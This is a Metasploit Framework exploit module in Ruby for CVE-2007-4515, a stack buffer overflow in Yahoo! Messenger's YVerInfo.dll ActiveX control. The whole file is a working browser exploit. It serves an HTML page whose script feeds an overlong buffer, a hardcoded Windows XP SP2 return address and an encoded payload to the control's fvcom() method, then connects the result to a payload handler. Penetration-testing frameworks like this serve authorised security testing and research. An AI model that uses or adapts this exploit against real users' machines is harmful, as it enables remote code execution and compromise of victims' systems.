##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
				Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
				to the "fvCom()" method from a yahoo.com domain, an attacker may be able
				to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'References'     =>
				[
					[ 'CVE', '2007-4515' ],
					[ 'OSVDB', '37739' ],
					[ 'BID', '25494' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8  } ], # Tested on fully patched XPSP2 9/29/07
				],
			'DisclosureDate' => 'Aug 30 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_english(411) + [target.ret].pack('V')
		sploit << p.encoded + rand_text_english(payload.encoded.length)

		# Build out the message
		content = %Q|
			<html>
			<object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>
			<script language='javascript'>
			#{strname} = new String('#{sploit}');
			#{vname}.fvcom(#{strname});
			</script>
			</html>
			|

		print_status("Sending #{self.name}")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
